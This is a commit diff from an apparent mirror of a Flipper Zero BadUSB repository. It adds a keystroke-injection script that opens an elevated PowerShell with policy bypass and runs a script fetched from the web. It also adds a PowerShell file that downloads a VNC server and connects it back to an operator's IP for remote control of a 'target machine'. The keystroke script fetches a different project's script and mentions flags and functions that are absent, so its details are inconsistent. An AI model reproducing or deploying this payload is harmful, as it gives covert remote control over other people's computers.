mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-26 20:53:42 -08:00
Add files via upload
This commit is contained in:
18
Uvnc-Remote-Desktop/Uvnc-Remote-Desktop.txt
Normal file
18
Uvnc-Remote-Desktop/Uvnc-Remote-Desktop.txt
Normal file
@@ -0,0 +1,18 @@
|
||||
REM Title: Uvnc-Remote-Desktop
|
||||
REM Author: @beigeworm | https://github.com/beigeworm
|
||||
REM Description: Downloads Uvnc client to machine and runs winvnc.exe
|
||||
REM Target: Windows 10
|
||||
|
||||
REM *REQUIREMENTS*
|
||||
REM admin required for disable USB function.
|
||||
|
||||
REM some setup for dukie script.
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove -W Hidden to show the window).
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -Exec Bypass -C $ip = ''; irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/BadUSB-Detect-and-Protect/main.ps1 | iex
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 2500
|
||||
ALT y
|
||||
41
Uvnc-Remote-Desktop/main.ps1
Normal file
41
Uvnc-Remote-Desktop/main.ps1
Normal file
@@ -0,0 +1,41 @@
|
||||
|
||||
<# ======================== Start Uvnc client (Remote Desktop) ==========================
|
||||
|
||||
DOWNLOAD SERVER FILES - https://github.com/beigeworm/assets/raw/main/uvnc-server.zip
|
||||
|
||||
SYNOPSIS
|
||||
Downloads Uvnc client to machine and runs winvnc.exe
|
||||
Veiwable from another machine with vncviewer.exe
|
||||
|
||||
USAGE
|
||||
4. On host machine unzip 'uvnc-server.zip'
|
||||
5. In extracted folder right click then click 'open in terminal'
|
||||
1. Run this command with your port specified on your host machine - ./vncviewer.exe -listen 8080
|
||||
2. Add your IP and PORT below
|
||||
3. Run this script on a target machine
|
||||
|
||||
#>
|
||||
|
||||
$ip = "$ip"
|
||||
$port = '8080'
|
||||
|
||||
$tempFolder = "$env:temp\vnc"
|
||||
$vncDownload = "https://github.com/beigeworm/assets/raw/main/winvnc.zip"
|
||||
$vncZip = "$tempFolder\winvnc.zip"
|
||||
|
||||
if (!(Test-Path -Path $tempFolder)) {
|
||||
New-Item -ItemType Directory -Path $tempFolder | Out-Null
|
||||
}
|
||||
|
||||
if (!(Test-Path -Path $vncZip)) {
|
||||
Invoke-WebRequest -Uri $vncDownload -OutFile $vncZip
|
||||
}
|
||||
sleep 1
|
||||
Expand-Archive -Path $vncZip -DestinationPath $tempFolder -Force
|
||||
sleep 1
|
||||
rm -Path $vncZip -Force
|
||||
|
||||
$proc = "$tempFolder\winvnc.exe"
|
||||
Start-Process $proc -ArgumentList ("-run")
|
||||
sleep 2
|
||||
Start-Process $proc -ArgumentList ("-connect $ip::$port")
|
||||
Reference in New Issue
Block a user